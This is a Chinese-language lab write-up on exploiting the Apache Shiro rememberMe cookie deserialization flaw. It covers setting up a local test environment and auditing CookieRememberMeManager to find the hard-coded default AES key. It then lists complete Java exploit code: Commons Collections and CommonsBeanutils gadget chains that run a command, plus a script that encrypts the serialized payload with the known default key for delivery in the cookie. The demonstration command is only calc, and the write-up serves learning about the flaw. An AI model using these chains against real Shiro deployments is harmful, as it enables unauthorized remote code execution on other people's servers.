shiro
环境搭建
jdk7u21
https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html
某些平台还要钱?
tomcat8
p神的shiro环境:
https://github.com/phith0n/JavaThings/tree/master/shirodemo
下面这张图不对的,不是新建项目然后复制黏贴
直接选择打开p神解压后的文件夹,修改配置即可
然后项目结构里面添加以下jdk1.7
之后编辑一下pom.xml添加一点依赖
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
如果出现maven加载失败的情况,大概是因为你用了idea自带的maven,需要去再下一个最新版本,不需要配置环境变量。
下载解压,然后配置文件里面酌情修改本地仓库(也可以使用默认路径,我这里修改为了D:\maven3.8.5\apache-maven-3.8.5-bin\apache-maven-3.8.5\repository
)
配置文件里面换源
<mirror>
<id>alimaven</id>
<mirrorOf>central</mirrorOf>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
</mirror>
来到bin目录下(我是D:\maven3.8.5\apache-maven-3.8.5-bin\apache-maven-3.8.5\bin)执行./mvn help:system
之后等待许久直至出现build success,就完成了安装
之后打开idea,找到File–Settings–Build,Execution,Deployment–Build Tools–Maven,修改画框的位置的路径,选择自己配置的maven(不建议使用idea自带的maven)
注意那个勾选别勾
后面配置一下tomcat,记得修改下面的报错(选工件可以如下)
然后访问你设置的端口(默认8080,事实上默认是直接跳转的)
这样就是搭建好了
初步了解
有个账号密码登录,root:secret
,并勾选remember me ,抓包观察
request
可以看到一个巨大的cookie,一般遇到此类情况推测cookie含有重要的用户信息,而且很可能被服务器通过反序列化读取。可作为注入点
在导航这里打开随处搜索
CookieRememberMeManager
一个序列化一个反序列化
看一下后发现是一个序列化的字节码经过base64加密而已
不过CookieRememberMeManager::getRememberedSerializedIdentity这里比较特别,只是解码了而已
那我们看看谁调用了它(注意maven下载源代码才找得到)
跟进CookieRememberMeManager::convertBytesToPrincipals
decrypt
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
这句话可以看出大概是需要一个什么密钥去解密,进入下面这个
cipherService.decrypt
一个接口
看它的实现
审计后验证了我们的想法,应该是个对称加密,获取密钥后就可以破解
回到
CookieRememberMeManager::convertBytesToPrincipals
进入getDecryptionCipherKey,看看我们能不能破解key
是常量
查找后发现是这里写入
cipherKey
多此提到cipherKey,看看是什么情况
setCipherKey
查找一下使用
看到setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
进去
看到是个固定的key值
而且是个aes
于是得出结论:
它的cookie 是: 信息 -> 序列化 -》用已知密钥加密的aes -》然后Base64
deserialized->readObject
加密解密调试
参考miku神的(●´3`●)やれやれだぜ (viewofthai.link)
加密
而其中的key是常量,后面不断调试还可以看到base64部分
解密
cc3打shiro
Pom.xml
cc3
poc
package org.apache.commons.collections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class ccone {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void main(String[] args) throws Exception
{
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");
byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
// setValue(templates,"_tfactory", new TransformerFactoryImpl());
//templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
//new ConstantTransformer(Runtime.class),
new ConstantTransformer(TrAXFilter.class),
// new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
// new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
//new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
instantiateTransformer
};
//
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value", "aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstruct.setAccessible(true);
Object o = annotationInvocationHandlerConstruct.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");
//
// InstantiateTransformer
}
}
跑完后生成ser.bin
新建一个项目去打
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.nio.file.FileSystems;
import java.nio.file.Files;
public class test {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("C:\\Users\\20281\\IdeaProjects\\mavenForHappyJson\\ser.bin"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key);
BufferedWriter out = new BufferedWriter(new FileWriter("payload.txt"));
out.write(ciphertext.toString());
out.close();
System.out.printf("OK");
}
}
然后抓包改为
然后打过去,但是发现并没有谈计算器,报错是这个
经过调试,发现原来是
可以看到 ClassResolvingObjectInputStream 调用的是 ClassUtils.forName , ObjectInputStream 调用的是 Class.forName ,差别就在这里 实际上 Class.forName 不⽀持原⽣类型,但其他类型都是⽀持的。 Class.loadClass 不能加载原⽣类型和 数组类型,其他类型都是⽀持的,测试代码如下:
Class classString =
ClassLoader.getSystemClassLoader().loadClass("java.lang.String");// 类
Class classEnum =
ClassLoader.getSystemClassLoader().loadClass("java.lang.annotation.RetentionP
olicy");// 枚举
Class classInterface =
ClassLoader.getSystemClassLoader().loadClass("java.io.Serializable");// 接⼝
Class classAnnotation =
ClassLoader.getSystemClassLoader().loadClass("java.lang.annotation.Documented
");// 注解
//Class classIntArray = ClassLoader.getSystemClassLoader().loadClass("[I");//
数组类型不能使⽤ClassLoader.loadClass⽅法
//Class classStringArray = ClassLoader.getSystemClassLoader().loadClass("
[Ljava.lang.String;");// 数组类型不能使⽤ ClassLoader.loadClass ⽅法
不用数组自然想到cc4
完整poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class exp {
public static void setValue(String name, Object target, Object value) {
try {
Field field = target.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(target, value);
} catch (Exception ignore) {
}
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void main(String[] args) throws Exception {
//CC3
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaaaa");
byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates,"_tfactory", new TransformerFactoryImpl());
//CC2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
//CC6
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
lazyMap.remove(templates);
Class c = LazyMap.class;
Field field = c.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap, invokerTransformer);
serialize(map2);
unserialize("ser.bin");
}
}
shiro 打无 cc 依赖 cb 链
但是我jdk7u21的cb链出问题了,不会改报错,所以直接复制黏贴@miku233神的
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
public class exp {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");
byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates,"_tfactory", new TransformerFactoryImpl());
BeanComparator outputProperties = new BeanComparator("outputProperties", new AttrCompare());
TransformingComparator ioTransformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(ioTransformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
setValue(priorityQueue, "comparator", outputProperties);
serialize(priorityQueue);
unserialize("ser.bin");
}
}